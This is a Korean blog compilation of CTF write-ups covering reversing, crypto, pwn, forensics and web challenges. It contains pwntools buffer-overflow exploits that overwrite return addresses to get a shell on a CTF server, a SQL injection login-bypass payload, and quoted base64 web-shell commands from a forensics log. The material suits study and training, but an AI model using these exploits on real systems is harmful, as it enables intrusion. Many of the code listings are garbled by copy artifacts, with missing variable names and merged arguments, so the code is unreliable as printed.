반응형
반응형
반응형

Misc

Welcome N00b World~!

50

 

디스코드 접속

반응형
반응형

http://52.79.224.215

Rev

How you find my flag?

150

 

32bit elf 파일이 주어진다.

 

main함수에서 flag의 마지막 부분을 찾을 수 있고, I5_My 함수에서 함수 명이 flag의 중간 부분이 된다.

 

그리고 I5_My에서 문자열을 xor 연산 하는 것을 알 수 있다. 이 xor연산을 돌려주면 flag의 처음 부분이 된다.

 

main() 함수와 I5_My() 함수. IDA 32bit을 이용하면 볼 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#python3
= "D : : h I ^ L q ] b 9 x 9 U"
 
= list(map(str, p.split()))
 
flag_b = [0]*len(n)
 
for i in range(0len(n)):
    flag_b[i] = ord(n[i]) ^ 0xa
 
flag = ""
for j in range(0len(n)):
    flag += chr(flag_b[j])
print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

Crypto

 

Very Easy Crypto

100

 

ascii85

 

The Middle Age Crypto

100

 

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

 

'Codes and Ciphers' Puts Students to Test | Bryn Mawr Alumnae Bulletin

'Codes and Ciphers' Puts Students to Test 'Codes and Ciphers' Puts Students to Test Math course offers insight into creating and solving secret messages. At their simplest, they are used by kids passing notes in class and at their most complex, by governme

www.brynmawr.edu

 

You Decode it?

175

 

문제 :

1
2
3
4
5
6
7
8
9
10
11
12
from * import flag, shift 
 
list_ = ['0x475''0x3b0''0x471''0x47a''0x39c''0x465''0x476''0x46d''0x46d''0x47a','0x39c''0x460''0x471''0x47a''0x473''0x477''0x3b3''0x3a2''0x3a2']
 
def encrypt(d,shift):
    e = []
    for c in d:
        e.append(hex((ord(c)+shift)^99))
    return e
 
if list(encrypt(flag,shift)) == list_:    # 문법 상으로는 맞지 않음. 이해를 위해서 넣은 코드구문
    print("encoding success!!")
cs

 

 

풀이 :

1
2
3
4
5
6
7
8
9
10
11
12
13
list_ = [0x4750x3b00x4710x47a0x39c0x4650x4760x46d0x46d0x47a,0x39c0x4600x4710x47a0x4730x4770x3b30x3a20x3a2]
list = []
 
 
for i in list_:
    list.append(i^99)
 
for shift in range(0,951):
    flag = ""
    for j in list :
        flag += chr(j-shift)
    print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

 

Pwn

What is bof?

100

exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.

 

main() 과 flag()

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-14h]@1
 
  setvbuf(_bss_start, 020);
  printf("Go through it!! >> ");
  gets(&s);
  printf("YOu Input : %s\n"&s);
  return 0;
}
cs
1
2
3
4
5
int flag()
{
  printf("Y0u Ar3 Fl@g Here!!");
  return system("/bin/sh");
}
cs

 

main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.

 

main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로  ret을 덮을 수 있다.

 

s는 bp-14h에 위치한다. 

 

s[20] + sfp[4] + ret[4]     ==========> 24바이트를 덮고 retflag()주소인 0x08048516으로 덮으면 된다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python
from pwn import *
 
= remote("52.79.224.215"30005)
 
flag = 0x08048516
 
payload = "A"*24 + p32(flag)
 
p.recvuntil(">> ")
p.sendline(payload)
 
p.interactive()
 
cs

 

very ezzzzzz!!

100

what is bof? 문제와 동일 하다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-40h]@1
 
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  gets(&s);
  sleep_puts("Wait!!!!!!");
  sleep_puts("You should stop");
  sleep_puts("Stealing flag...");
  sleep_puts("Wait 10sec..");
  sleep_puts("Wait 8sec..");
  sleep_puts("Wait 6sec..");
  sleep_puts("Wait 4sec..");
  sleep_puts("Wait 2sec..");
  sleep_puts("Okay");
  sleep_puts("I'll give you a flag!!");
  puts("N00bCTF{wow_your_very_good!!}");
  return 0;
}
cs

 

gets함수를 사용하고 있고, s는 bp-40h에 위치한다.

 

sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.

 

get_flag() : 0x08048556

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
#python
from pwn import *
 
= remote("52.79.224.215"30006)
 
flag = 0x08048556
 
payload = "A"*68 + p32(flag)
 
p.sendline(payload)
 
p.interactive()
cs

 

 

 

Over the RET

150

 

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(18273645);
  return 0;
}
cs
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vuln(int a1)
{
  int result; // eax@1
  char s; // [sp+0h] [bp-40h]@1
 
  gets(&s);
  result = puts(&s);
  if ( a1 == 12563478 )
    result = system("/bin/sh");
  return result;
}
cs

 

main함수에서 vuln함수를 호출하고 인자(a1)로  18273645를 주고 있다.

vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.

 

 

a1은 bp+8h에 위치한다.

 

s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]

이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("52.79.224.215"30007)
 
a1 = 12563478
 
payload = "A"*72 + p32(a1)
 
 
p.sendline(payload)
 
p.interactive()
 
cs

 

반응형
반응형

http://52.79.224.215

 

 

Disk Forensic

Emergency!! Leak my source code..

100

access.log를 먼저 봤다. 모든 접근 기록이 담겨 있어서 모든 것을 조사해 볼 수는 없었다. 범위를 좁히기 위해서 다른 파일들을 살펴 보았다.

 

 

 

sad파일에서 수상한 pid를 찾을 수 있다.

 

               pid    ppid

www-data  5230  5244  0 10:11 ?        00:00:00 php -f /var/www/upload/ws1004/image/hack.php
www-data  5244   814  0 10:11 ?        00:00:00 sh -c php -f /var/www/upload/ws1004/image/hack.php

 

 

hack.php와 관련이 있음을 구할 수 있다. hack.php와 관련한 로그만 찾으면 되기 때문에 access.log에서 hack.php를 검색해서 나오는 모든 로그들을 모았다.

 

 

 

 

[25/Oct/2019:17:18:51 +0900] cHdk
[25/Oct/2019:17:26:23 +0900] bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvd3MxMDA0L2ltYWdlLw%3D%3D
[25/Oct/2019:17:21:12 +0900] dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL3dzMTAwNC9pbWFnZS8xMjU5MTIzNzQ5IC92YXIvd3d3Lw%3D%3D
[25/Oct/2019:17:26:40 +0900] cGhwIC1mIC92YXIvd3d3L3VwbG9hZC93czEwMDQvaW1hZ2UvaGFjay5waHA%3D

 

시각과 쿼리로 넘어가는 명령어만 기록해봤다.

 

 

base64로 인코딩 되었는데, 4번째 명령어는 아래와 같다.

php -f /var/www/upload/ws1004/image/hack.php

 

해당 명령어를 실행하는 쉘의 pid는 5230이다.

 

따라서 플래그는 N00bCTF{2019-10-25_17:26:40&5244} 가 된다.

반응형
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

Timisoara CTF 2019 Write-up

TEAM : WTB

 

 

제출했던 풀이 보고서(영문): write-up:

Timisoara_CTF_2019_Quals_Write-up_WTB.docx
4.40MB

 

 

아래는 제가 푼 문제 + a 들의 풀이입니다. (곧 세부설명 수정)

 

CRYPTO

Baby Crypto (50pts) 

This file seems... odd

 

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

 

카이사르 돌리면 된다.

 

 

Proof of work (100pts)

 

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

 

0부터 1씩 증가시켜서 전부 sha256을 돌린다.

돌려서 끝에 7자리가 0인 것을 뽑아내면 된다.

 

python3는 느리기 때문에 pypy3를 설치해서 사용했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
 
= 0
while True:
    string = str(i)
    encoded_string = string.encode()
    hexdigest = hashlib.sha256(encoded_string).hexdigest()
    if "0000000" in str(hexdigest):
        print(str(i) +": " +hexdigest)
    i = i +1
 
#365512095
#TIMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
cs

 

10분이상 돌렸던 것 같다.

 

 

Alien Alphabet (150pts) 

I found this strange text. It is written in some strange alphabet. Can you decode it?

 

직접 문자에 알파벳 치환시켜서 빈도분석.

 

 

Password breaker (150pts) 

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

 

1. 사전공격

2. 브포공격

 

 

TimCTF gamblig service (200pts) 

Predict the next number to win. Are you that lucky?

시간기반 랜덤값

pipe 2개 연결해서 하나는 값을 받고 하나는 받은 값을 그대로 보내버리면 됨.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("89.38.208.143"21023)
p2 = remote("89.38.208.143"21023)
p.recvuntil(": ")
p.sendline("1")
 
p2.recvuntil(": ")
p2.sendline("2")
 
= p.recvline()
p.close()
p2.sendline(n)
 
p2.interactive()
 
cs

 

 

Strange cipher (250pts) 

I have found this strange encryption service. Can you decode it?

 

한 글자씩 hex값을 맞춰가면 됨.

 

 

Forensics

Deleted file (100pts) 

Help! I accidentally deleted a photo! Can you recover it for me please?

Non-standard flag format

 

png 시그니쳐 찾아서 카빙

 

 

Strange image (100pts) 

I received this "image" in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you "fixed" it and it does not open, try using a few different photo viewers.

Hint! When you 'fix' your image make sure you try multiple photo viewers as some might not want to display it

 

 xor 0x7a 연산을 하면 복구가 됨.

 

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import re
 
fd = open("john.png""rb")
dat = fd.read()
data = binascii.b2a_hex(dat)
datas = re.findall(r'..',data)
 
red = ""
for i in range(0len(datas)):
    bit = eval("0x"+str(datas[i])+" ^ 0x7a")
    rad = str(hex(bit))
    if len(rad) == 3 :
        rad = rad.replace("0x""0x0")
        red += rad
    else :
        red += str(hex(bit))
print red
bin_ = ""
for j in range(0len(red), 4):
    binary_d = str(red[j:j+4])
    binary_d = binary_d.replace("0x""")
    bin_ += "\\x"+binary_d
 
fh = open("image.png""wb")
eval("fh.write(b'"+bin_+"')")
fh.close()
 
cs

 

스테가노 사이트()에서 문자열만 보면, fl4g 찾을 수 있음.

: 오른쪽 부분을 특수문자까지 같이 rot 돌리면 플래그가 나옴. https://www.dcode.fr/rot-cipher

 

 

 

Tri-color QR (200pts) 

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?\

 

stegsolve.jar로 3개 뽑아낼 수 있음.

그리고 hxd로 열었을때 푸터 시그니쳐 뒤에 PK 시그니쳐 확인 가능.

뽑아내서 압축 풀면 4번째 부분을 구할 수 있음.

 

 

 

Programming

Subset sum (200pts) 

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10
Size of the array: 4 - 40 (+4 per level)
Input data type: 64 bit unsigned ints
Input formatting: 2 lines of text, a line containing n and a line containg the array.
Output formatting: the size of the subset and the elements of the subset, separated by a space
Time limit: 3s

 

야매로 푼 문제.

 

합이 나오면, 그 합이 되는 원소랑 개수를 구해서 보내는 거 같은데, 1과 그 합을 그대로 보내보니까 통과가 되서 그냥 간단 스크립트 짜서 품.

 

 

Reverse Engineering

 

Baby Rev (50pts) 

This program asks me for the flag, but i don't know it!

 

IDA

 

Easy Rev (75pts) 

Like the last one, but harder

 

IDA

 

Math (150pts) 

This executable is doing MATH. Everyone hates that so it must be hard to reverse

 

IDA로 까면 플래그 인코딩 연산 하는 부분이 있는데 이 부분을 그대로 파이썬으로 옮겨서 브포를 돌렸다.

완전자동화로 코드 짜다가 귀찮아서 그냥 반 노가다로 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def solv(input, q, p):
    key = 14335727
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv" #44
    cipher = "0"*44
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = key ^ (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    x=1
    if cipher[x] == flag[x] and cipher[x+1== flag[x+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
#yee = "TIMCTF{I_s33_you_UnDeRsTaNd_x86}"
yee= "TIMCTF{"
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Strange jump (250pts) 

This application likes to jump!

 

math와 동일. 플래그 인코딩하는 부분 찾아서 브포했다.

연산코드마저 math의 key xor하는 부분을 제외하면 math와 풀이 코드가 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def solv(input, q, p):
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9" #44
    cipher = "0"*55
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    y = 17
    if cipher[y] == flag[y] and cipher[y+1== flag[y+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
yee = "TIMCTF{"
 
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

math와 동일. 돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Web

Not so empty website (50pts) 

This website looks empty, but trust me, it is not!

페이지 소스에 나와있다.

 

 

Secret key of swag (150pts) 

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

parse()함수가 extract($_GET)과 같은 효과

$processed_key에 그대로 hax0r을 넣으면 끝.

 

 

Admin panel (200pts) 

Your job is to hack this admin panel and login.


sql 인젝션.

admin@admin

pw : ' or '1' = '1

 

반응형
반응형

Welcome_REV

50

 

32비트 elf파일인데 ida로 까보면 입력값 확인하는 함수를 확인할 수 있고, 함수 내부에 strncmp로 비교하게 되는 base64 문자열을 확인할 수 있다. 그대로 가져와서 디코딩하면 플래그가 바로 나온다.

 

 

 

 

Reversing Me

100

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main() {
    int i;
    char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
    char enter[54];
    printf("키를 입력하시게 : ");
    scanf("%s", enter);
    if (strlen(enter) == strlen(serial)) {
        for (i = 0; i < strlen(serial) && (enter[i] ^ (i % 2)) == serial[i]; i++);
        if (i - 1 == strlen(enter))
            printf("정답일세!\n");
    }
    else
        printf("그건 아닐세...\n");
        exit(0);
}
cs

 

enter[i] ^ (i%2) == serial[i] 이어야한다.

 

xor연산은 한 번 더 해주면 원래대로 돌아간다.

 

enter[i] == serial[i] ^ (i%2)

 

파이썬으로 코드를 짜서 플래그를 얻었다.

 

1
2
3
4
5
6
serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}"
flag = ""
for i in range(len(serial)):
  flag1 =ord(serial[i]) ^ (i % 2)
  flag += chr(flag1)
print(flag)
cs

 

 

Handray

100

음..

수상해보이는 부분 공략

string[i] 이랑 array[i]를 더하나봄

 

 

Strncmp

150

 

 

Keygen

200

 

 

Static

250

 

 

BabyMIPS

400

 

xor

반응형
반응형

카토 이미지 보고싶다.

200

[문제 설명] 변태 C#
[출제자] 황수민(Xixon)

 

 

exe파일이 하나 주어진다.

Exeinfo PE로 분석해보면 .NET으로 작성된 프로그램임을 알 수 있다.

 

 

dotPeek로 열었다.

업로드 할 파일명이 kato_megumi 이어야 하는 것 같다.

 

 

빈파일 하나 만들어서 이름을 kato_megumi 으로 하고 업로드를 하니 플래그가 나왔다.

 

 

 

 

No_Reverse_No_Life

200

[문제 설명] 허허 풀어 보랑께 노겜노라 시리즈의 시작!!
[출제자] 황수민

 

 

?

반응형
반응형

Moving but not moved

75

[문제 설명] 움직이지 않는 오브젝트는?
[출제자] 정준영(Joon)

 

 

Hxd로 보면 맨 마지막 부분이 PNG의 푸터 시그니쳐다. 헤더 시그니쳐를 찾아서 추출해내면 flag가 나온다.

 

 

 

Archives

100

[문제 설명] 귀여운 아오바가 숨긴 비장의 플래그는 무엇일까?
[출제자] 정준영(Joon)

 

 

pptx파일 하나가 주어진다. 확장자명을 zip으로 바꿔서 ppt > media > image5.png을 열어보면 플래그가 나온다.

 

 

Inside the beat

100

[문제 설명] 비트를 타자
[출제자] 정준영(Joon)

 

 

osz파일이 주어진다. 근데 HxD로 열어보면 파일시그니쳐가 PK, 즉 ZIP파일과 구조가 같음을 알 수 있다.

그래서 zip으로 파일명을 바꿔주고 열어보면 된다.

 

 

그러면 mp3파일을 하나 찾을 수 있고, HxD로 열면 최하단에서 플래그를 찾을 수 있다. 근데 끊어져 있다.

 

그래서 해당 파일 헥스 처음부분을 확인하니 전체부분을 확인할 수 있었다.

 

 

 

Not compressed

100

[문제 설명] 어떻게 압축되었을까?
[출제자] 정준영(Joon)

 

 

 

Hxd로 보면 시그니쳐는 PK로 압축 파일인데 그 다음부분부터는 모두 PNG 부분같다.

 

그래서 헤더를 PNG헤더로 바꿔주었더니 flag을 얻을 수 있었다.

 

 

 

너의 비밀번호는

100

[문제 설명] 최고급 사전을 눈이 아닌 다른것으로 읽어보자.
[출제자] 정준영(Joon)

 

 

사전공격으로 패스워드를 찾아내면 된다.

 

 

 

Note graph

150

[문제 설명] 우리는 음표와 비슷한걸 읽어봐야합니다.
[출제자] 정준영(Joon)

 

 

sonic visualiser을 이용해서 Pane> add spectrugram

플래그!

 

 

 

CAN_YOU_FIND?

250

[문제 설명] 날 찾아줘
[출제자] 황수민

 

 

HxD로 열고 찾기 기능으로 A0V3R을 검색하니 플래그를 찾을 수 있었다.

 

 

 

Extend

300

[문제 설명] 뛰는놈위에 나는놈 있다.
[출제자] 정준영(Joon)

 

 

사진 열어보면 머리카락이라고 한다. 머리카락 = 높이

bmp구조를 봐서 높이 부분의 값을 조금씩 높이다 보면, 플래그가 보이기 시작한다.

 

 

 

카토의 눈은 정말 최고입니다

300

[문제 설명] 마음에 눈으로 보십시오.
[출제자] 황수민(Xixon)

 

 

mp3파일이 하나 주어진다. hxd로 열어서 플래그 찾으니 나온다. 왜????

 

 

 

LAST_SAEKANO

300

[문제 설명] kato_eyes_revenge
[출제자] 황수민

 

mp3파일인데 파일 썸네일을 보면 검을 글자같은게 보인다.

HXD로 열어서 jpg파일 추출해내면 플래그를 확인할 수 있다.

jpg 푸더 시그니쳐는 FF D9이다.

 

 

 

미술품 구매계획

400

[문제 설명] 고가의 미술품을 미리볼 수 있는 프리뷰이다. 한번 둘러보자.
[출제자] 정준영(Joon)

 

 

ppt파일이 주어지는데, 일단 zip으로 바꿔준다.

ppt\media\에 이미지 9개가 있다. 모두 openstego를 써준다.

 

image5.png에서 flag.png가 추출된다. 그런데 flag.png에 이미지가 표시되지 않는다.

hxd로 열어보면 시그니쳐가 png가 아닌 jpg로 되어있는 것을 확인할 수 있다.

시그니쳐를 png로 바꿔주고 다시 열어주면 플래그가 나온다.

Matryoshka Doll

500

[문제 설명] 옛날옛적에 러시아에 살던 어떤 사람이 마트료시카 인형에 중요한 깃발을 숨겨놓았다고 한다. 찾아보자.
[출제자] 정준영(Joon)

 

 

푸터부분을 보면 APNG assembler을 사용한 것을 알 수 있다.

그래서 APNG disassembler을 검색하니까 나오길레 설치해서 해봤다. 2개의 이미지가 나오게 되는데...

 

openstego를 사용하면 docx파일이 하나씩 나온다. (openstego 오랜만에 써본다.)

 

 

flags.docx에서 flag의 절반을 얻을 수 있다.

 

그리고 다시 zip으로 바꿔서 word\fonts.xml을 hxd로 열면 나머지 플래그가 있다.

 

 

정말 많을걸 해야하는 문제...

반응형

+ Recent posts